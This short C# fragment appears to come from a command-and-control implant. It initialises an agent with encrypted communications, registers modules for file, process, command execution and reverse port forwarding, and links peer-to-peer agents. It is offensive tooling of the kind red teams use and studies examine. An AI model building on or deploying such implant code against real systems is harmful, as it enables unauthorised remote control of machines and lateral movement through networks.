private static void StartAgent(ConfigController config, ICommModule commModule) { var crypto = new CryptoController(); commModule.Init(config, crypto); var agent = new AgentController(config, crypto, commModule); agent.Init(AgentID, ParentAgentID); agent.RegisterAgentModule(new CoreModule()); agent.RegisterAgentModule(new SetModule()); agent.RegisterAgentModule(new LinkModule()); agent.RegisterAgentModule(new DirectoryModule()); agent.RegisterAgentModule(new FileModule()); agent.RegisterAgentModule(new NetModule()); agent.RegisterAgentModule(new DrivesModule()); agent.RegisterAgentModule(new EnvModule()); agent.RegisterAgentModule(new ProcessModule()); agent.RegisterAgentModule(new ExecModule()); agent.RegisterAgentModule(new RevPortFwdModule()); agent.Start(); }
public void AddP2PAgent(string hostname, ICommModule module) { module.Init(Config, Crypto); P2P.LinkAgent(hostname, module); }